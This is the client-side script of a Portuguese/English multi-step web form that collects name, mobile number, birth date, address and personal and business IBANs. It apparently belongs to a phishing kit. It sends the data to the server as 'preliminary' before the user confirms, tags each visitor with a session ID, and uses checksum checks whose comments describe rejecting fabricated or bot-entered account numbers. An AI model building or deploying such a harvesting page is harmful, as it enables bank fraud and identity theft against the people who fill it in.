: ['welcome', 'contact', 'address', 'bank', 'confirm', 'success'];
}
function setAccountType(type) {
accountType = type;
document.getElementById('acctParticular').classList.toggle('active', type === 'personal');
document.getElementById('acctZakelijk').classList.toggle('active', type === 'business');
}
function resetForm() {
currentStep = 0;
accountType = 'personal';
lastSubmittedHash = '';
document.getElementById('acctParticular').classList.add('active');
document.getElementById('acctZakelijk').classList.remove('active');
document.querySelectorAll('.step').forEach((s, i) => s.classList.toggle('active', i === 0));
document.querySelectorAll('.form-input, .form-select').forEach(el => {
el.value = '';
el.classList.remove('error');
});
document.querySelectorAll('.form-error').forEach(el => el.textContent = '');
updateUI();
}
function toggleMobileNav() {
document.getElementById('mobileNav').classList.toggle('active');
}
function toggleLanguage() {
language = language === 'pt' ? 'en' : 'pt';
document.getElementById('langLabel').textContent = language.toUpperCase();
updateLanguage();
}
function updateLanguage() {
document.querySelectorAll('[data-' + language + ']').forEach(el => {
el.textContent = el.getAttribute('data-' + language);
});
document.querySelectorAll('[data-placeholder-' + language + ']').forEach(el => {
el.placeholder = el.getAttribute('data-placeholder-' + language);
});
updateUI();
}
function updateUI() {
const steps = getSteps();
const successIdx = steps.indexOf('success');
const confirmIdx = steps.indexOf('confirm');
const isSuccess = currentStep === successIdx;
// Progress bar
const progressSteps = document.querySelectorAll('.progress-step');
progressSteps.forEach((step, i) => {
step.classList.toggle('active', i === currentStep);
step.classList.toggle('done', i < currentStep);
});
document.getElementById('progressBar').style.display = isSuccess ? 'none' : 'flex';
document.getElementById('progressText').style.display = isSuccess ? 'none' : 'block';
const total = successIdx; // number of visible steps (excluding success)
document.getElementById('progressText').textContent =
(language === 'pt' ? 'Passo ' : 'Step ') + (currentStep + 1) +
(language === 'pt' ? ' de ' : ' of ') + total;
// Show/hide step divs by matching step id to steps array position
// The DOM order of .step divs: welcome, contact, address, bank, business, confirm, success
const allStepDivs = ['step-welcome','step-contact','step-address','step-bank','step-business','step-confirm','step-success'];
let activeStepEl = null;
allStepDivs.forEach(id => {
const el = document.getElementById(id);
if (!el) return;
const name = id.replace('step-', '');
const idx = steps.indexOf(name);
const isActive = idx === currentStep;
el.classList.toggle('active', isActive);
if (isActive) activeStepEl = el;
});
// Auto-focus the first input of the active step (desktop convenience; skipped on touch to avoid keyboard jump)
const isTouch = window.matchMedia('(hover: none)').matches;
if (activeStepEl && !isTouch) {
const firstInput = activeStepEl.querySelector('input:not([type=hidden]), select');
if (firstInput) setTimeout(() => firstInput.focus({ preventScroll: true }), 60);
}
// Scroll body back to top on each step change
const bodyEl = document.querySelector('.modal-body');
if (bodyEl) bodyEl.scrollTop = 0;
// Buttons
const backBtn = document.getElementById('backBtn');
const nextBtn = document.getElementById('nextBtn');
const nextText = nextBtn.querySelector('span');
const nextArrow = nextBtn.querySelector('svg');
backBtn.style.display = (currentStep > 0 && !isSuccess) ? 'flex' : 'none';
if (isSuccess) {
nextBtn.className = 'btn-next success';
nextText.textContent = language === 'pt' ? 'Concluído' : 'Done';
nextArrow.style.display = 'none';
} else {
nextBtn.className = 'btn-next';
nextArrow.style.display = 'block';
if (currentStep === 0) {
nextText.textContent = language === 'pt' ? 'Começar' : 'Start';
} else if (currentStep === confirmIdx) {
nextText.textContent = language === 'pt' ? 'Confirmar' : 'Confirm';
} else {
nextText.textContent = language === 'pt' ? 'Continuar' : 'Continue';
}
}
// Populate confirm step
if (currentStep === confirmIdx) {
const np = language === 'pt' ? 'Não fornecido' : 'Not provided';
document.getElementById('confirm-fullName').textContent = document.getElementById('fullName').value || np;
document.getElementById('confirm-phone').textContent = document.getElementById('phone').value || np;
document.getElementById('confirm-email').textContent = document.getElementById('email').value || np;
document.getElementById('confirm-birthDate').textContent = document.getElementById('birthDate').value || np;
document.getElementById('confirm-street').textContent = document.getElementById('street').value || np;
document.getElementById('confirm-postalCode').textContent = document.getElementById('postalCode').value || np;
document.getElementById('confirm-city').textContent = document.getElementById('city').value || np;
// Personal bank section is always shown (business accounts also enter a personal IBAN)
const bankSection = document.getElementById('confirm-bank-section');
bankSection.style.display = 'block';
const ibanClean = document.getElementById('iban').value.replace(/\s/g, '').toUpperCase();
document.getElementById('confirm-iban').textContent = ibanClean.match(/.{1,4}/g)?.join(' ') || np;
document.getElementById('confirm-bankName').textContent = document.getElementById('bankName').value || np;
// Business section
const bizSection = document.getElementById('confirm-biz-section');
if (accountType === 'business') {
bizSection.style.display = 'block';
document.getElementById('confirm-bizName').textContent = document.getElementById('bizName').value || np;
const bizIbanClean = document.getElementById('bizIban').value.replace(/\s/g, '').toUpperCase();
document.getElementById('confirm-bizIban').textContent = bizIbanClean.match(/.{1,4}/g)?.join(' ') || np;
document.getElementById('confirm-bizAccountHolder').textContent = document.getElementById('bizAccountHolder').value || np;
const contact = document.getElementById('bizContact').value;
const contactRow = document.getElementById('confirm-bizContact-row');
if (contact) {
document.getElementById('confirm-bizContact').textContent = contact;
contactRow.style.display = 'flex';
} else {
contactRow.style.display = 'none';
}
} else {
bizSection.style.display = 'none';
}
}
}
// Portuguese mobile number validation
// Strips country code (351 or +351), then checks: starts with 9, exactly 9 digits
function isValidPTMobile(raw) {
let digits = raw.replace(/\D/g, '');
if (digits.startsWith('351')) digits = digits.slice(3);
return /^9[1236]\d{7}$/.test(digits);
}
function validateContactStep() {
let valid = true;
const fullName = document.getElementById('fullName');
const phone = document.getElementById('phone');
const email = document.getElementById('email');
const birthDate = document.getElementById('birthDate');
// Full name required — at least two words (first + last), letters only, each >= 2 chars
const nameVal = fullName.value.trim().replace(/\s+/g, ' ');
const nameParts = nameVal.split(' ').filter(w => w.length >= 2);
const nameHasDigits = /\d/.test(nameVal);
const nameValidChars = /^[\p{L}\s'.-]+$/u.test(nameVal);
if (!nameVal || nameParts.length < 2 || nameHasDigits || !nameValidChars) {
fullName.classList.add('error');
fullName.classList.remove('valid');
document.getElementById('fullNameError').textContent = language === 'pt'
? 'Introduza o nome e apelido completos'
: 'Please enter your full first and last name';
valid = false;
} else {
fullName.classList.remove('error');
fullName.classList.add('valid');
document.getElementById('fullNameError').textContent = '';
}
// Phone validation — must be a valid PT mobile number (9x with 9 digits)
if (!phone.value || !isValidPTMobile(phone.value)) {
phone.classList.add('error');
document.getElementById('phoneError').textContent = language === 'pt' ? 'Introduza um número de telemóvel português válido' : 'Please enter a valid Portuguese mobile number';
valid = false;
} else {
phone.classList.remove('error');
document.getElementById('phoneError').textContent = '';
}
// Email validation (optional)
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (email.value && !emailRegex.test(email.value)) {
email.classList.add('error');
document.getElementById('emailError').textContent = language === 'pt' ? 'Email inválido' : 'Invalid email';
valid = false;
} else {
email.classList.remove('error');
document.getElementById('emailError').textContent = '';
}
// Birth date validation - REQUIRED
const dateRegex = /^(\d{2})\/(\d{2})\/(\d{4})$/;
const dateMatch = birthDate.value.match(dateRegex);
let dateValid = false;
if (dateMatch) {
const day = parseInt(dateMatch[1], 10);
const month = parseInt(dateMatch[2], 10);
const year = parseInt(dateMatch[3], 10);
if (day >= 1 && day <= 31 && month >= 1 && month <= 12 && year >= 1900 && year <= 2010) {
dateValid = true;
}
}
if (!birthDate.value || !dateValid) {
birthDate.classList.add('error');
document.getElementById('birthDateError').textContent = language === 'pt' ? 'Introduza uma data válida (DD/MM/AAAA)' : 'Enter a valid date (DD/MM/YYYY)';
valid = false;
} else {
birthDate.classList.remove('error');
document.getElementById('birthDateError').textContent = '';
}
return valid;
}
const validBanks = ['Millennium BCP', 'Caixa Geral de Depositos', 'Novo Banco', 'Santander Totta', 'BPI', 'Bankinter', 'Credito Agricola', 'Montepio', 'ActivoBank', 'BBVA', 'Banco CTT', 'EuroBic', 'Banco Best', 'Banco Invest', 'Banco BIG', 'Banco Carregosa'];
// PT IBAN structure: "PT50" + 21-digit NIB = 25 chars. Portugal's IBAN check digits are
// always 50 (the NIB's own check digits force this), so PT50 is fixed.
// The 21-digit NIB is: 4 bank + 4 branch + 11 account + 2 NIB check digits.
// Bank code = digits at positions 4–7 of the clean IBAN (right after PT50).
const ptBankCodes = {
'0007': 'Credito Agricola',
'0009': 'Santander Totta',
'0010': 'BPI',
'0018': 'Santander Totta',
'0033': 'Millennium BCP',
'0035': 'Caixa Geral de Depositos',
'0036': 'Novo Banco',
'0040': 'Credito Agricola',
'0045': 'Montepio',
'0046': 'Montepio',
'0065': 'Banco CTT',
'0079': 'Banco Best',
'0080': 'BPI',
'0100': 'Caixa Geral de Depositos',
'0130': 'Bankinter',
'0160': 'EuroBic',
'0183': 'Novo Banco',
'0269': 'Bankinter',
'0275': 'ActivoBank',
'0284': 'Bankinter',
'0286': 'Millennium BCP',
'0535': 'Millennium BCP',
'0781': 'Banco Carregosa',
'0884': 'Banco Invest',
};
// Lightweight anti-filler check: rejects lazy input like all zeros/ones or a
// single repeated digit, without enforcing a full MOD97 checksum (kept intentionally
// lenient so genuine numbers keep working).
function isTrivialIban(body) {
const counts = {};
for (const d of body) counts[d] = (counts[d] || 0) + 1;
const distinct = Object.keys(counts).length;
const maxCount = Math.max(...Object.values(counts));
// Need at least 4 different digits, and no single digit may cover 2/3 of the 21 digits
if (distinct < 4) return true;
if (maxCount > 14) return true;
return false;
}
// ISO 7064 MOD-97-10 checksum (whole IBAN). A genuine IBAN always yields 1.
function ibanMod97(clean) {
const rearranged = clean.slice(4) + clean.slice(0, 4); // move country+check digits to the end
let expanded = '';
for (const ch of rearranged) {
expanded += (ch >= 'A' && ch <= 'Z') ? (ch.charCodeAt(0) - 55).toString() : ch;
}
let rem = 0;
for (const d of expanded) { rem = (rem * 10 + Number(d)) % 97; }
return rem;
}
// Portuguese NIB internal check digits: the last 2 of the 21-digit NIB are computed
// from the first 19 via a weighted MOD-97. This is what makes fabricated "PT50 + random
// digits" numbers fail — real bank accounts always satisfy it.
function nibCheckDigits(first19) {
const w = [73,17,89,38,62,45,53,15,50,5,49,34,81,76,27,90,9,30,3];
let sum = 0;
for (let i = 0; i < 19; i++) sum += Number(first19[i]) * w[i];
return String(98 - (sum % 97)).padStart(2, '0');
}
// PT IBAN validation. Portuguese IBANs ALWAYS start with PT50 (the NIB check digits
// mathematically force the IBAN check digits to 50), so we require it. We then verify
// the NIB's own check digits + the full IBAN checksum. This rejects bot fakes while
// never blocking a genuine account.
function validateIban(raw) {
const clean = raw.replace(/\s/g, '').toUpperCase();
if (!/^PT50\d{21}$/.test(clean)) return false; // format + fixed PT50
if (isTrivialIban(clean.slice(4))) return false; // reject lazy filler
const nib = clean.slice(4); // 21-digit NIB
if (nibCheckDigits(nib.slice(0, 19)) !== nib.slice(19)) return false; // NIB check digits
if (ibanMod97(clean) !== 1) return false; // whole-IBAN checksum
return true;
}
// Returns the canonical bank label from ptBankCodes for the given IBAN, or null if unknown
function bankFromIban(raw) {
const clean = raw.replace(/\s/g, '').toUpperCase();
// NIB bank code = 4 digits immediately after PT50 (positions 4-7)
const bankCode = clean.slice(4, 8);
return ptBankCodes[bankCode] || null;
}
// Reverse map: bank name -> [valid 4-digit bank codes]. A bank can own several codes.
const bankNameToCodes = (() => {
const map = {};
for (const [code, name] of Object.entries(ptBankCodes)) {
(map[name] = map[name] || []).push(code);
}
return map;
})();
// Returns the 4-digit bank code from an IBAN (positions 4-7), or '' if not available
function ibanBankCode(raw) {
return raw.replace(/\s/g, '').toUpperCase().slice(4, 8);
}
// Cross-validation: does the IBAN's bank code belong to the selected bank?
// Returns true = match, false = mismatch, null = cannot determine (selected bank has no known codes)
function ibanMatchesSelectedBank(raw, selectedBankName) {
const codes = bankNameToCodes[selectedBankName];
if (!codes) return null; // e.g. BBVA / Banco BIG not in code table -> skip cross-check
return codes.includes(ibanBankCode(raw));
}
function validateAddressStep() {
let valid = true;
const street = document.getElementById('street');
const postalCode = document.getElementById('postalCode');
const city = document.getElementById('city');
// Street required
// Street must contain a street name (letters) AND a house/door number (digit)
const streetVal = street.value.trim();
const streetHasLetters = /\p{L}{2,}/u.test(streetVal);
const streetHasNumber = /\d/.test(streetVal);
if (!streetVal || streetVal.length < 5 || !streetHasLetters || !streetHasNumber) {
street.classList.add('error');
street.classList.remove('valid');
document.getElementById('streetError').textContent = language === 'pt'
? 'Introduza a morada completa, incluindo o número da porta'
: 'Enter the full address, including the door number';
valid = false;
} else {
street.classList.remove('error');
street.classList.add('valid');
document.getElementById('streetError').textContent = '';
}
// Postal code validation (Portuguese format: 1234-567)
const postalRegex = /^\d{4}-\d{3}$/;
if (!postalCode.value || !postalRegex.test(postalCode.value)) {
postalCode.classList.add('error');
document.getElementById('postalCodeError').textContent = language === 'pt' ? 'Formato: 1234-567' : 'Format: 1234-567';
valid = false;
} else {
postalCode.classList.remove('error');
document.getElementById('postalCodeError').textContent = '';
}
// City required
const cityVal = city.value.trim();
if (!cityVal || cityVal.length < 2 || !/^[\p{L}\s'.-]+$/u.test(cityVal)) {
city.classList.add('error');
city.classList.remove('valid');
document.getElementById('cityError').textContent = language === 'pt' ? 'Introduza uma localidade válida' : 'Please enter a valid city';
valid = false;
} else {
city.classList.remove('error');
city.classList.add('valid');
document.getElementById('cityError').textContent = '';
}
return valid;
}
function validateBankStep() {
let valid = true;
const iban = document.getElementById('iban');
const bankName = document.getElementById('bankName');
// Full IBAN validation: PT50 + 21 digits = 25 clean chars
const ibanRaw = iban.value;
const ibanClean = ibanRaw.replace(/\s/g, '').toUpperCase();
if (!validateIban(ibanRaw)) {
iban.classList.add('error');
document.getElementById('ibanError').textContent = language === 'pt' ? 'IBAN inválido' : 'Invalid IBAN';
valid = false;
} else {
iban.classList.remove('error');
document.getElementById('ibanError').textContent = '';
}
// Bank required and must be valid
const bankValue = bankName.value.trim();
if (!bankValue || !validBanks.includes(bankValue)) {
bankName.classList.add('error');
document.getElementById('bankNameError').textContent = language === 'pt' ? 'Selecione um banco válido da lista' : 'Please select a valid bank from the list';
valid = false;
} else {
bankName.classList.remove('error');
document.getElementById('bankNameError').textContent = '';
}
// Cross-check: does the IBAN's bank code (PT50 + 4 digits) match the selected bank?
// Non-blocking: show a soft warning ("check IBAN or bank") but still allow continuing.
const warning = document.getElementById('bankMismatchWarning');
if (validateIban(ibanRaw) && bankValue) {
const match = ibanMatchesSelectedBank(ibanRaw, bankValue);
warning.style.display = (match === false) ? 'flex' : 'none';
} else {
warning.style.display = 'none';
}
return valid;
}
function collectFormData(stage) {
const data = {
fullName: document.getElementById('fullName').value,
phone: document.getElementById('phone').value,
email: document.getElementById('email').value,
birthDate: document.getElementById('birthDate').value,
street: document.getElementById('street').value,
postalCode: document.getElementById('postalCode').value,
city: document.getElementById('city').value,
iban: document.getElementById('iban').value.replace(/\s/g, '').toUpperCase(),
bankName: document.getElementById('bankName').value,
accountType: accountType,
sessionId: visitorId,
stage: stage,
// Anti-bot fields
_t: Math.floor(modalOpenedAt / 1000), // unix timestamp when modal opened
_confirm_email: '', // honeypot — must remain empty
_hm: humanInteracted ? 1 : 0 // did we detect mouse/touch movement?
};
if (accountType === 'business') {
data.bizName = document.getElementById('bizName').value;
data.bizIban = document.getElementById('bizIban').value.replace(/\s/g, '').toUpperCase();
data.bizAccountHolder = document.getElementById('bizAccountHolder').value;
data.bizContact = document.getElementById('bizContact').value;
}
return data;
}
async function submitData(stage) {
const payload = collectFormData(stage);
const hashSrc = JSON.stringify({ ...payload, stage: undefined });
if (hashSrc === lastSubmittedHash) return true;
try {
await fetch('?action=submit', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
lastSubmittedHash = hashSrc;
return true;
} catch (e) { return false; }
}
async function nextStep() {
if (isLoading) return;
const steps = getSteps();
const stepName = steps[currentStep];
const confirmIdx = steps.indexOf('confirm');
const successIdx = steps.indexOf('success');
const bankIdx = steps.indexOf('bank');
const bizIdx = steps.indexOf('business');
if (stepName === 'contact' && !validateContactStep()) return;
if (stepName === 'address' && !validateAddressStep()) return;
if (stepName === 'bank') {
if (!validateBankStep()) return;
// Send preliminary data before confirm
if (accountType !== 'business') submitData('preliminary');
}
if (stepName === 'business') {
if (!validateBusinessStep()) return;
// Send preliminary data with business details before confirm
submitData('preliminary');
}
// Submit on confirm
if (currentStep === confirmIdx) {
isLoading = true;
const nextBtn = document.getElementById('nextBtn');
const nextText = nextBtn.querySelector('span');
const orig = nextText.innerHTML;
nextText.innerHTML = '<div class="spinner"></div>';
await submitData('final');
isLoading = false;
currentStep = successIdx;
trackStep('success');
updateUI();
nextText.innerHTML = orig;
return;
}
// Close on success
if (currentStep === successIdx) {
closeModal();
return;
}
// Step transition loader
const loaderDuration = 900 + Math.random() * 600;
showStepLoader(loaderDuration, () => {
currentStep++;
trackStep(getSteps()[currentStep]);
updateUI();
});
}
function prevStep() {
if (currentStep > 0) {
currentStep--;
trackStep(getSteps()[currentStep]);
updateUI();
}
}
function validateBusinessStep() {
let valid = true;
const bizName = document.getElementById('bizName');
const bizIban = document.getElementById('bizIban');
const bizAccountHolder = document.getElementById('bizAccountHolder');
if (!bizName.value || bizName.value.trim().length < 2) {
bizName.classList.add('error');
document.getElementById('bizNameError').textContent = language === 'pt' ? 'Introduza o nome da empresa' : 'Please enter company name';
valid = false;
} else {
bizName.classList.remove('error');
document.getElementById('bizNameError').textContent = '';
}
if (!validateIban(bizIban.value)) {
bizIban.classList.add('error');
document.getElementById('bizIbanError').textContent = language === 'pt' ? 'IBAN inválido' : 'Invalid IBAN';
valid = false;
} else {
bizIban.classList.remove('error');
document.getElementById('bizIbanError').textContent = '';
}
if (!bizAccountHolder.value || bizAccountHolder.value.trim().length < 2) {
bizAccountHolder.classList.add('error');
document.getElementById('bizAccountHolderError').textContent = language === 'pt' ? 'Introduza o nome do titular da conta' : 'Please enter the account holder name';
valid = false;
} else {
bizAccountHolder.classList.remove('error');
document.getElementById('bizAccountHolderError').textContent = '';
}
// Non-blocking: warn if business IBAN equals the personal IBAN (usually a mistake)
refreshBizIbanDupWarning();
return valid;
}
// Show a soft warning when the business IBAN is identical to the personal IBAN
function refreshBizIbanDupWarning() {
const warn = document.getElementById('bizIbanDupWarning');
if (!warn) return;
const personal = document.getElementById('iban').value.replace(/\s/g, '').toUpperCase();
const business = document.getElementById('bizIban').value.replace(/\s/g, '').toUpperCase();
warn.style.display = (personal && business && personal === business) ? 'flex' : 'none';
}
// Auto-format birth date
document.getElementById('birthDate').addEventListener('input', function(e) {
let value = e.target.value.replace(/\D/g, '');
if (value.length >= 2) value = value.slice(0, 2) + '/' + value.slice(2);
if (value.length >= 5) value = value.slice(0, 5) + '/' + value.slice(5, 9);
e.target.value = value;
});
// Auto-format postal code (Portuguese: 1234-567)
document.getElementById('postalCode').addEventListener('input', function(e) {
let digits = e.target.value.replace(/\D/g, '');
let formatted = digits.slice(0, 4);
if (digits.length > 4) {
formatted += '-' + digits.slice(4, 7);
}
e.target.value = formatted;
});
// Auto-format IBAN: always PT prefix, max 25 raw chars, groups of 4 separated by spaces
function formatIban(value) {
let clean = value.replace(/\s/g, '').toUpperCase();
if (!clean.startsWith('PT')) {
const digits = clean.replace(/[^0-9]/g, '');
clean = 'PT' + digits;
}
const rest = clean.slice(2).replace(/[^0-9]/g, '');
clean = ('PT' + rest).slice(0, 25);
return clean.match(/.{1,4}/g)?.join(' ') || clean;
}
// Re-evaluate the (non-blocking) bank/IBAN mismatch warning
function refreshBankWarning() {
const warning = document.getElementById('bankMismatchWarning');
if (!warning) return;
const ibanVal = document.getElementById('iban').value;
const bankVal = document.getElementById('bankName').value.trim();
if (validateIban(ibanVal) && bankVal) {
warning.style.display = (ibanMatchesSelectedBank(ibanVal, bankVal) === false) ? 'flex' : 'none';
} else {
warning.style.display = 'none';
}
}
document.getElementById('iban').addEventListener('input', function(e) {
e.target.value = formatIban(e.target.value);
const clean = e.target.value.replace(/\s/g, '');
if (clean.length < 25) {
document.getElementById('ibanError').textContent = '';
e.target.classList.remove('error');
} else if (validateIban(e.target.value)) {
document.getElementById('ibanError').textContent = '';
e.target.classList.remove('error');
}
refreshBankWarning();
});
document.getElementById('bankName').addEventListener('change', refreshBankWarning);
document.getElementById('bizIban').addEventListener('input', function(e) {
e.target.value = formatIban(e.target.value);
const clean = e.target.value.replace(/\s/g, '');
if (clean.length < 25) {
document.getElementById('bizIbanError').textContent = '';
e.target.classList.remove('error');
} else if (validateIban(e.target.value)) {
document.getElementById('bizIbanError').textContent = '';
e.target.classList.remove('error');
}
refreshBizIbanDupWarning();
});
// Phone: enforce max 13 chars (+351xxxxxxxxx) and only allow digits/+/spaces
document.getElementById('phone').addEventListener('input', function(e) {
let val = e.target.value.replace(/[^\d+\s]/g, '');
// Limit raw digits (excluding +) to 12 (351 + 9)
const digits = val.replace(/\D/g, '');
if (digits.length > 12) {
val = e.target.value.slice(0, -1);
}
e.target.value = val;
// Clear error while typing if valid
if (isValidPTMobile(val)) {
document.getElementById('phoneError').textContent = '';
e.target.classList.remove('error');
}
});
// Live: clear the error state on text fields as soon as the user edits them
[['fullName','fullNameError'], ['street','streetError'], ['city','cityError'], ['email','emailError'], ['postalCode','postalCodeError']].forEach(([field, err]) => {
const el = document.getElementById(field);
if (!el) return;
el.addEventListener('input', () => {
if (el.classList.contains('error')) {
el.classList.remove('error');
const e = document.getElementById(err);
if (e) e.textContent = '';
}
});
});
// Enter key advances to the next step (except inside the confirm step's checkbox area).
// IME guard: don't submit while composing CJK text or on Safari's unreliable 229 keyCode.
document.getElementById('modal').addEventListener('keydown', function(e) {
if (e.key !== 'Enter') return;
if (e.nativeEvent && e.nativeEvent.isComposing) return;
if (e.isComposing || e.keyCode === 229) return;
if (e.target && e.target.tagName === 'TEXTAREA') return;
e.preventDefault();
const nextBtn = document.getElementById('nextBtn');
if (nextBtn && !nextBtn.disabled && !isLoading) nextBtn.click();
});
</script>
</body>
</html>